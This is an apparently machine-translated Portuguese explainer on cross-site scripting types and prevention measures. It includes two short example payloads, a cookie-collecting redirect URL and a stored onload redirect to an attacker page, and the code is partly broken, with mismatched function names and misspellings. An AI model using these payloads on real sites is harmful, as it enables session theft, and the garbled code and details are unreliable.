Como os hackers usam scripts entre sites para quebrar sites e roubar dados
Cross-site scripting ou XSS pode ser um ataque potente e rápido. Como desenvolvedor, você pode até interpretar isso como um bug em seu código e acabar procurando por bugs que não existem.
Como um cliente que usa o site vulnerável, você também pode divulgar inocentemente informações vitais sobre seu acesso de autenticação ao invasor.
Então, o que é script entre sites? Como os hackers podem usá-lo para invadir um site e roubar seus dados? E como você pode mitigar esse risco?
O que é script entre sites?
O script entre sites ou XSS ocorre se o script de um site malicioso interagir com o código de um site vulnerável.
Mas os servidores são conectados de uma forma que evita que pessoas sem autenticação acessem e editem o código-fonte do seu site.
A Internet usa a Same Origin Policy (SOP) para bloquear interações entre sites. No entanto, o SOP verifica três principais lacunas de segurança e tenta mitigá-las. Eles estão:
- Política de protocolo da Internet que verifica se ambos os sites fornecem conteúdo em SSL seguro (HTTPS) ou em um URL inseguro (HTTP).
- A mesma política de host da web, que garante que você hospede os dois sites no mesmo domínio.
- A política de porta que verifica se ambos os sites usam endpoints de comunicação semelhantes.
O SOP afirma que se qualquer uma dessas políticas for diferente para dois sites, eles não poderão ler ou trocar dados pela web.
Mas JavaScript é uma linguagem manipulativa que determina a capacidade de resposta de um site. Embora o JavaScript do seu site provavelmente esteja em um arquivo separado, você também pode criar uma tag de script e gravá-la em seu Document Object Model (DOM).
Portanto, um invasor XSS pode pensar: "se você pode escrever JavaScript em um DOM, então, no final das contas, você pode executá-lo em qualquer editor de código ou campo de entrada que aceite tags HTML".
Essa vulnerabilidade e chance é o que um invasor usando XSS procura em um site de destino. Depois de encontrar essa lacuna, eles podem contornar o SOP.
XSS, portanto, é um ataque que os sequestradores usam para injetar um script que executa uma ação maliciosa em um site vulnerável. O script pode ter como alvo formulários desprotegidos ou campos de entrada que aceitam dados.
Como funciona e tipos de scripts entre sites, com exemplos
XSS pode ser uma execução rápida de um script refletido ou temporário que um invasor coloca em formulários como campos de pesquisa. Também pode ser irritante ou persistente injetado no banco de dados. Ou pode vir passivamente após o carregamento da página.
Em alguns casos, esse script também pode alterar a entrada original da vítima para desviar sua intenção. Uma mudança persistente nas entradas de um usuário como essa é um XSS mutante.
De qualquer forma, o objetivo de um ataque XSS é roubar os dados da vítima por meio de cookies e logs expostos.
Vejamos uma breve explicação de cada um desses tipos de ataque XSS e seus exemplos para entender o que são.
O que é um XSS refletido?
Um XSS refletido ou temporário é uma injeção direta de JavaScript no campo de entrada de um usuário. Ele tem como alvo solicitações que obtêm dados do banco de dados, como resultados de pesquisa. Mas é um ataque de um cliente-alvo.
Durante um XSS refletido, um invasor insere um script no termo de pesquisa de uma vítima alvo. Esse JavaScript pode ser um eco, um redirecionamento ou um coletor de cookies.
O script injetado no campo de entrada de pesquisa é executado assim que um cliente alvo envia sua consulta.
Por exemplo, durante a pesquisa de um usuário, um invasor pode inserir um JavaScript que ecoa um formulário, solicitando que a vítima insira sua senha ou nome de usuário. Depois que o usuário fizer isso, ele pode acabar enviando suas credenciais sem saber a um invasor, pensando que é uma solicitação do site original.
Às vezes, o invasor também pode usar um script para redirecionar um usuário da página vulnerável para a página dele. Na página do invasor, um usuário desavisado pode ser enganado e enviar alguns formulários, levando ao vazamento de credenciais.
Da mesma forma, se o objetivo é roubar a sessão de um usuário, o invasor injeta um script de coleta de cookies no termo de pesquisa do usuário. Eles então sequestram a sessão atual do usuário, roubam informações relevantes e assumem as atividades da vítima.
O exemplo de ataque XSS abaixo rouba o cookie de um usuário por meio de uma solicitação GET:
http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")
No exemplo XSS acima, o invasor encontra uma brecha no site vulnerável. Portanto, quando um usuário procura um recurso indisponível no site vulnerável, ele o redireciona para a página do invasor. O invasor então clica no cookie do usuário atual e captura sua sessão.
No entanto, essa vulnerabilidade é comum quando a ação de consulta de um site não é filtrada para verificar as injeções de script por meio de HTML.
Mas mesmo se houver uma consulta filtrada, um invasor pode contornar isso recorrendo a medidas desesperadas, como enviar links para possíveis usuários em tempo real de um site. Eles podem fazer isso usando qualquer forma de engenharia social disponível.
Depois que as vítimas clicam nesse link, o sequestrador pode agora executar com êxito o ataque XSS e roubar dados relevantes da vítima.
O script entre sites persistente ou armazenado
O XSS armazenado apresenta mais ameaças. Nesse caso, um invasor armazena o script no banco de dados de um site, disparando uma execução persistente do script armazenado. O código armazenado pode ser executado no carregamento da página ou após o carregamento da página.
Ao contrário da forma temporária de XSS, um XSS armazenado tem como alvo toda a base de usuários do site vulnerável. Além disso, visa também a integridade do site afetado.
Durante um XSS persistente, um invasor usa campos de entrada, como formulários de comentários, para postar o script no banco de dados de um site.
Mas e se você proteger os campos POST com tokens CSRF? Infelizmente, o script entre sites armazenados ignora as verificações de CSRF.
Isso ocorre porque o invasor envia um formulário como qualquer outro usuário do site. Portanto, esse formulário de comentário envia o script para o banco de dados como faz com todos os outros comentários.
Esse ataque pode acontecer quando os campos de entrada em um site não usam higienizadores adequados para escapar de scripts e tags HTML.
Imagine um usuário postando o script abaixo usando um formulário de comentário da web:
<body onload = maLicious()>
<script>
function malCode(){
window.location.replace("attackerswebpage URL");
}
</script>
<body/>
Quando um invasor insere um código como esse no banco de dados de um site, ele continua redirecionando a vítima para o site do invasor no carregamento da página. O script também pode ser um alerta, uma caixa modal interativa ou um anúncio malicioso incorporado.
Como o script redireciona no carregamento da página, uma vítima que não está familiarizada com o site vulnerável pode não perceber o redirecionamento.
Eles então continuam interagindo com o site do invasor. No entanto, o sequestrador pode usar vários meios para obter informações das vítimas quando elas estiverem em sua página da web.
O que é DOM ou XSS passivo?
Um XSS baseado em DOM executa um código malicioso embutido no site, forçando todo o DOM no lado do cliente a se comportar de maneira incomum.
Enquanto o XSS armazenado e refletido tem como alvo as solicitações do lado do servidor em um site, um XSS DOM tem como alvo as atividades de tempo de execução. Ele funciona inserindo um script em um componente do site que executa uma tarefa específica. Esse componente não executa uma ação do lado do servidor.
No entanto, o script inserido em tal componente muda sua intenção completamente. Se esse componente executar uma tarefa relacionada ao DOM, como aquelas que alteram os elementos de um site, o script pode forçar a alteração de toda a página da Web.
Em casos piores, um XSS baseado em DOM pode imitar um bug. Isso ocorre porque a página da Web se torna excepcionalmente reativa.
Como evitar ataques de script entre sites
Uma vulnerabilidade XSS vem do uso impróprio das melhores práticas de back-end. Portanto, prevenir um ataque de script entre sites geralmente é responsabilidade do desenvolvedor. Mas os usuários também têm uma função a cumprir.
Usar um token CSFR para campos de entrada não parece uma solução para ataques XSS. E como esse ataque também ignora a Política de Mesma Origem, os desenvolvedores precisam ter cuidado para não omitir as práticas de segurança que evitam o XSS.
As seguintes medidas preventivas são úteis para desenvolvedores.
Sanitize Inputs Fields
Para evitar XSS armazenado e temporário, você deve usar higienizadores eficientes para campos de entrada. A higienização das consultas de pesquisa, por exemplo, evita a injeção de tags nos termos de pesquisa dos usuários.
Use Unicode e HTML Auto Escape
É útil usar o escape automático de HTML e Unicode para evitar que campos de entrada como comentários e formulários de conversão aceitem scripts e tags HTML. O escape automático é uma medida preventiva potente contra XSS armazenado ou persistente.
Filtrar tags específicas para fora
Permitir que os usuários insiram tags em formulários de comentários é uma má ideia para qualquer site. É uma violação de segurança. No entanto, se você deve permitir isso, você só deve aceitar tags que não representam ameaças XSS.
Use validação de entrada apropriada
Mesmo se você bloquear as tags completamente, um invasor ainda pode realizar um ataque XSS por meios sociais. Eles podem enviar e-mails em vez de colocar qualquer coisa diretamente no site vulnerável.
Portanto, outro método de prevenção é validar as entradas de forma eficiente. Essas medidas incluem a validação de protocolos e a garantia de que seu site só aceite entradas de HTTPS seguro e não HTTP.
Usar bibliotecas JavaScript dedicadas, como dompurify, também pode ajudar a bloquear violações de segurança relacionadas a XSS.
Você pode usar ferramentas como XSS Scanner ou GEEKFLARE para verificar vulnerabilidades XSS em seu site.
Como os usuários podem prevenir o XSS
Existem milhões de sites na Internet hoje. Portanto, dificilmente você pode dizer qual deles tem problemas de segurança XSS.
No entanto, como usuário, você deve se certificar de que está familiarizado com qualquer serviço da web antes de usá-lo. Se uma página da web ficar repentinamente assustadora ou começar a se comportar de maneira incomum, isso pode ser um sinal de alerta.
Seja qual for o caso, tome cuidado para não divulgar dados pessoais a terceiros não confiáveis. Fique atento a e-mails não solicitados ou postagens suspeitas em mídias sociais que possam resultar em qualquer forma de ataques de phishing .
Nenhum método preventivo único serve para todos
Vimos a aparência de um ataque XSS e como evitá-lo. É fácil esquecer as verificações de segurança XSS durante o desenvolvimento. Portanto, os desenvolvedores devem tomar medidas para garantir que a proteção não seja omitida. No entanto, uma combinação das medidas preventivas que listamos anteriormente funciona melhor.
